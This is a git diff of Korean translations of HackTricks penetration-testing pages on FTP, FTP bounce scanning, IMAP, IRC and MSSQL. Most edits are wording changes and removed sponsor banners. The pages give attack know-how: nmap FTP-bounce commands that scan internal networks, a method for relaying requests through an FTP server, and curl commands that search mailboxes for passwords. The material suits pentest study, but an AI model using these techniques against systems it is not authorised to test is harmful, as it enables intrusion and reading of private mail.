* **`PUT /tmp/file.txt`** 지정된 파일을 FTP에 업로드합니다.
|
* **`PUT /tmp/file.txt`** 지정된 파일을 FTP에 업로드합니다.
|
||||||
|
@ -170,7 +162,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||||
|
|
||||||
## FTPBounce attack
|
## FTPBounce attack
|
||||||
|
|
||||||
일부 FTP 서버는 PORT 명령을 허용합니다. 이 명령은 서버에 다른 FTP 서버의 특정 포트에 연결하고 싶음을 나타내는 데 사용할 수 있습니다. 그런 다음 이를 사용하여 FTP 서버를 통해 호스트의 어떤 포트가 열려 있는지 스캔할 수 있습니다.
|
일부 FTP 서버는 PORT 명령을 허용합니다. 이 명령은 서버에 다른 FTP 서버의 특정 포트에 연결하고 싶다는 것을 나타내는 데 사용될 수 있습니다. 그런 다음 이를 사용하여 FTP 서버를 통해 호스트의 어떤 포트가 열려 있는지 스캔할 수 있습니다.
|
||||||
|
|
||||||
[**여기에서 FTP 서버를 악용하여 포트를 스캔하는 방법을 배우세요.**](ftp-bounce-attack.md)
|
[**여기에서 FTP 서버를 악용하여 포트를 스캔하는 방법을 배우세요.**](ftp-bounce-attack.md)
|
||||||
|
|
||||||
|
@ -178,20 +170,20 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||||
이론은 간단합니다:
|
이론은 간단합니다:
|
||||||
|
|
||||||
1. **취약한 서버에 요청(텍스트 파일 내)을 업로드합니다.** 다른 HTTP 또는 FTP 서버와 통신하려면 `0x0d 0x0a`로 줄을 변경해야 합니다.
|
1. **취약한 서버에 요청(텍스트 파일 내)을 업로드합니다.** 다른 HTTP 또는 FTP 서버와 통신하려면 `0x0d 0x0a`로 줄을 변경해야 합니다.
|
||||||
2. **원하지 않는 문자를 전송하지 않도록 `REST X`를 사용합니다** (아마도 요청을 파일 내에 업로드하기 위해 파일의 시작 부분에 이미지 헤더를 넣어야 했을 것입니다).
|
2. **원하지 않는 문자를 전송하지 않도록 `REST X`를 사용합니다** (아마도 요청을 파일 내에 업로드하기 위해 파일의 시작 부분에 이미지 헤더를 넣어야 할 수도 있습니다).
|
||||||
3. **임의의 서버 및 서비스에 연결하기 위해 `PORT`를 사용합니다.**
|
3. **임의의 서버 및 서비스에 연결하기 위해 `PORT`를 사용합니다.**
|
||||||
4. **저장된 요청을 서버에 전송하기 위해 `RETR`를 사용합니다.**
|
4. **저장된 요청을 서버에 전송하기 위해 `RETR`을 사용합니다.**
|
||||||
|
|
||||||
이것이 **_**소켓이 쓰기 불가능하다는 오류**_와 같은 오류를 발생시킬 가능성이 높습니다** **왜냐하면 연결이 `RETR`로 데이터를 전송하기에 충분히 오래 지속되지 않기 때문입니다**. 이를 피하기 위한 제안은 다음과 같습니다:
|
이것이 **_**소켓이 쓰기 불가능하다는**_ **오류를 발생시킬 가능성이 높습니다** **왜냐하면 연결이 `RETR`로 데이터를 전송하기에 충분히 오래 지속되지 않기 때문입니다**. 이를 피하기 위한 제안은 다음과 같습니다:
|
||||||
|
|
||||||
* HTTP 요청을 전송하는 경우, **같은 요청을 연속으로 넣습니다** **\~0.5MB** 이상까지. 이렇게:
|
* HTTP 요청을 전송하는 경우, **같은 요청을 연속으로 전송합니다** **\~0.5MB** 이상까지. 이렇게:
|
||||||
|
|
||||||
{% file src="../../.gitbook/assets/posts.txt" %}
|
{% file src="../../.gitbook/assets/posts.txt" %}
|
||||||
posts.txt
|
posts.txt
|
||||||
{% endfile %}
|
{% endfile %}
|
||||||
|
|
||||||
* 요청을 **프로토콜과 관련된 "잡동사니" 데이터로 채우려고 시도합니다** (FTP와 대화할 때 아마도 잡동사니 명령어를 사용하거나 파일을 가져오기 위해 `RETR` 명령을 반복합니다).
|
* 요청을 **프로토콜과 관련된 "잡동사니" 데이터로 채우려고 시도합니다** (FTP와 대화할 때는 아마도 잡동사니 명령어 또는 파일을 얻기 위해 `RETR` 명령을 반복하는 것).
|
||||||
* 요청을 **많은 널 문자 또는 기타로 채웁니다** (줄로 나누거나 나누지 않고).
|
* 요청을 **많은 널 문자 또는 기타로 채웁니다** (줄로 나누거나 나누지 않거나).
|
||||||
|
|
||||||
어쨌든, 여기 [다른 FTP 서버에서 파일을 다운로드하도록 FTP 서버를 악용하는 방법에 대한 오래된 예제가 있습니다.](ftp-bounce-download-2oftp-file.md)
|
어쨌든, 여기 [다른 FTP 서버에서 파일을 다운로드하도록 FTP 서버를 악용하는 방법에 대한 오래된 예제가 있습니다.](ftp-bounce-download-2oftp-file.md)
|
||||||
|
|
||||||
|
@ -225,15 +217,6 @@ vsFTPd의 기본 구성은 `/etc/vsftpd.conf`에서 찾을 수 있습니다. 여
|
||||||
* `ftp`
|
* `ftp`
|
||||||
* `port:21`
|
* `port:21`
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## HackTricks Automatic Commands
|
## HackTricks Automatic Commands
|
||||||
```
|
```
|
||||||
|
@ -296,8 +279,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## FTP Bounce - Scanning
|
## FTP Bounce - Scanning
|
||||||
|
|
||||||
### Manual
|
### Manual
|
||||||
|
@ -32,10 +24,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
`PORT 172,32,80,80,0,8080`\
|
`PORT 172,32,80,80,0,8080`\
|
||||||
`EPRT |2|172.32.80.80|8080|`
|
`EPRT |2|172.32.80.80|8080|`
|
||||||
3. **`LIST`**를 사용하여(이 명령은 연결된 _\<IP:Port>_에 FTP 폴더의 현재 파일 목록을 전송합니다) 가능한 응답을 확인합니다: `150 File status okay` (이것은 포트가 열려 있음을 의미) 또는 `425 No connection established` (이것은 포트가 닫혀 있음을 의미)
|
3. **`LIST`**를 사용하여 연결된 _\<IP:Port>_에 현재 FTP 폴더의 파일 목록을 전송하고 가능한 응답을 확인합니다: `150 File status okay` (이것은 포트가 열려 있음을 의미) 또는 `425 No connection established` (이것은 포트가 닫혀 있음을 의미)
|
||||||
4. `LIST` 대신 **`RETR /file/in/ftp`**를 사용하여 유사한 `Open/Close` 응답을 찾을 수 있습니다.
|
4. `LIST` 대신 **`RETR /file/in/ftp`**를 사용하여 유사한 `Open/Close` 응답을 찾을 수 있습니다.
|
||||||
|
|
||||||
**PORT**를 사용한 예시(172.32.80.80의 포트 8080은 열려 있고 포트 7777은 닫혀 있음):
|
**PORT**를 사용한 예시 (172.32.80.80의 포트 8080은 열려 있고 포트 7777은 닫혀 있음):
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (241).png>)
|
![](<../../.gitbook/assets/image (241).png>)
|
||||||
|
|
||||||
|
@ -53,12 +45,6 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
||||||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||||
```
|
```
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -69,7 +55,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 인터넷 메시지 접근 프로토콜
|
## 인터넷 메시지 접근 프로토콜
|
||||||
|
|
||||||
**인터넷 메시지 접근 프로토콜 (IMAP)**은 사용자가 **어떤 위치에서든 이메일 메시지에 접근할 수 있도록** 설계되었습니다. 주로 인터넷 연결을 통해 이루어집니다. 본질적으로 이메일은 **서버에 보관**되며 개인 장치에 다운로드되어 저장되지 않습니다. 이는 이메일에 접근하거나 읽을 때 **서버에서 직접** 이루어진다는 것을 의미합니다. 이 기능은 **여러 장치**에서 이메일을 확인할 수 있는 편리함을 제공하여, 사용된 장치에 관계없이 메시지를 놓치지 않도록 보장합니다.
|
**인터넷 메시지 접근 프로토콜 (IMAP)**은 사용자가 **어떤 위치에서든 이메일 메시지에 접근할 수 있도록** 설계되었습니다. 주로 인터넷 연결을 통해 이루어집니다. 본질적으로 이메일은 **서버에 보관**되며 개인 장치에 다운로드되어 저장되지 않습니다. 이는 이메일에 접근하거나 읽을 때 **서버에서 직접** 이루어진다는 것을 의미합니다. 이 기능은 **여러 장치에서 이메일을 확인하는** 편리함을 제공하여 사용된 장치에 관계없이 메시지를 놓치지 않도록 합니다.
|
||||||
|
|
||||||
기본적으로 IMAP 프로토콜은 두 개의 포트에서 작동합니다:
|
기본적으로 IMAP 프로토콜은 두 개의 포트에서 작동합니다:
|
||||||
|
|
||||||
|
@ -112,7 +104,7 @@ apt install evolution
|
||||||
|
|
||||||
### CURL
|
### CURL
|
||||||
|
|
||||||
기본 탐색은 [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)로 가능하지만, 문서에 세부 정보가 부족하므로 정확한 세부 정보를 위해 [소스](https://github.com/curl/curl/blob/master/lib/imap.c)를 확인하는 것이 좋습니다.
|
기본 탐색은 [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)로 가능하지만, 문서가 세부 사항이 부족하므로 정확한 세부 사항을 위해 [소스](https://github.com/curl/curl/blob/master/lib/imap.c)를 확인하는 것이 좋습니다.
|
||||||
|
|
||||||
1. 메일박스 나열 (imap 명령 `LIST "" "*"`)
|
1. 메일박스 나열 (imap 명령 `LIST "" "*"`)
|
||||||
```bash
|
```bash
|
||||||
|
@ -134,9 +126,9 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||||
```bash
|
```bash
|
||||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||||
```
|
```
|
||||||
메일 인덱스는 검색 작업에서 반환된 동일한 인덱스가 될 것입니다.
|
메일 인덱스는 검색 작업에서 반환된 동일한 인덱스가 됩니다.
|
||||||
|
|
||||||
메시지에 접근하기 위해 `UID` (고유 ID)를 사용하는 것도 가능하지만, 검색 명령을 수동으로 형식화해야 하므로 덜 편리합니다. 예:
|
메시지에 접근하기 위해 `UID`(고유 ID)를 사용하는 것도 가능하지만, 검색 명령을 수동으로 형식화해야 하므로 덜 편리합니다. 예:
|
||||||
```bash
|
```bash
|
||||||
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
|
||||||
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
|
||||||
|
@ -157,12 +149,6 @@ done
|
||||||
* `port:143 CAPABILITY`
|
* `port:143 CAPABILITY`
|
||||||
* `port:993 CAPABILITY`
|
* `port:993 CAPABILITY`
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
## HackTricks 자동 명령
|
## HackTricks 자동 명령
|
||||||
```
|
```
|
||||||
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
|
||||||
|
@ -203,7 +189,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,36 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## 기본 정보
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
IRC는 처음에 **일반 텍스트 프로토콜**로, IANA에 의해 **194/TCP**로 할당되었지만, 일반적으로 **6667/TCP** 및 유사한 포트에서 실행되어 **루트 권한** 없이 작동할 수 있습니다.
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Basic Information
|
|
||||||
|
|
||||||
IRC는 처음에 **일반 텍스트 프로토콜**로, IANA에 의해 **194/TCP**로 할당되었지만, 일반적으로 **6667/TCP** 및 유사한 포트에서 실행되어 **루트 권한** 없이 운영할 수 있습니다.
|
|
||||||
|
|
||||||
서버에 연결하는 데 필요한 것은 **닉네임**뿐입니다. 연결 후, 서버는 사용자의 IP에 대해 역 DNS 조회를 수행합니다.
|
서버에 연결하는 데 필요한 것은 **닉네임**뿐입니다. 연결 후, 서버는 사용자의 IP에 대해 역 DNS 조회를 수행합니다.
|
||||||
|
|
||||||
사용자는 더 많은 접근을 위해 **사용자 이름**과 **비밀번호**가 필요한 **운영자**와 일반 **사용자**로 나뉩니다. 운영자는 다양한 수준의 권한을 가지며, 관리자가 가장 높은 위치에 있습니다.
|
사용자는 더 많은 접근을 위해 **사용자 이름**과 **비밀번호**가 필요한 **운영자**와 일반 **사용자**로 나뉩니다. 운영자는 다양한 수준의 권한을 가지며, 관리자 권한이 가장 높습니다.
|
||||||
|
|
||||||
**기본 포트:** 194, 6667, 6660-7000
|
**기본 포트:** 194, 6667, 6660-7000
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
6667/tcp open irc
|
6667/tcp open irc
|
||||||
```
|
```
|
||||||
## 열거
|
## Enumeration
|
||||||
|
|
||||||
### 배너
|
### Banner
|
||||||
|
|
||||||
IRC는 **TLS**를 지원할 수 있습니다.
|
IRC는 **TLS**를 지원할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
|
@ -53,7 +40,7 @@ openssl s_client -connect <IP>:<PORT> -quiet
|
||||||
```
|
```
|
||||||
### Manual
|
### Manual
|
||||||
|
|
||||||
여기에서 **무작위 닉네임**을 사용하여 IRC에 연결하고 액세스하는 방법과 몇 가지 흥미로운 정보를 나열하는 방법을 볼 수 있습니다. IRC의 더 많은 명령어는 [여기](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP)에서 확인할 수 있습니다.
|
여기에서 **무작위 닉네임**을 사용하여 IRC에 연결하고 액세스한 다음 흥미로운 정보를 나열하는 방법을 볼 수 있습니다. IRC의 더 많은 명령어는 [여기](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP)에서 확인할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
#Connection with random nickname
|
#Connection with random nickname
|
||||||
USER ran213eqdw123 0 * ran213eqdw123
|
USER ran213eqdw123 0 * ran213eqdw123
|
||||||
|
@ -98,29 +85,18 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
|
||||||
|
|
||||||
* `호스트 이름 조회`
|
* `호스트 이름 조회`
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **스틸러 맬웨어**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 맬웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,23 @@
|
||||||
# 1433 - MSSQL 해킹 - Microsoft SQL Server
|
# 1433 - Pentesting MSSQL - Microsoft SQL Server
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 기본 정보
|
## 기본 정보
|
||||||
|
|
||||||
[wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)에서:
|
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||||
|
|
||||||
> **Microsoft SQL Server**는 Microsoft에서 개발한 **관계형 데이터베이스** 관리 시스템입니다. 데이터베이스 서버로서, 다른 소프트웨어 애플리케이션이 요청한 대로 데이터를 저장하고 검색하는 주요 기능을 가진 소프트웨어 제품입니다. 이 애플리케이션은 동일한 컴퓨터에서 실행되거나 네트워크(인터넷 포함)를 통해 다른 컴퓨터에서 실행될 수 있습니다.\\
|
> **Microsoft SQL Server**는 Microsoft에서 개발한 **관계형 데이터베이스** 관리 시스템입니다. 데이터베이스 서버로서, 다른 소프트웨어 애플리케이션이 요청한 대로 데이터를 저장하고 검색하는 주요 기능을 가진 소프트웨어 제품입니다. 이 애플리케이션은 동일한 컴퓨터에서 실행되거나 네트워크(인터넷 포함)를 통해 다른 컴퓨터에서 실행될 수 있습니다.\\
|
||||||
|
|
||||||
|
@ -35,17 +27,17 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
```
|
```
|
||||||
### **기본 MS-SQL 시스템 테이블**
|
### **기본 MS-SQL 시스템 테이블**
|
||||||
|
|
||||||
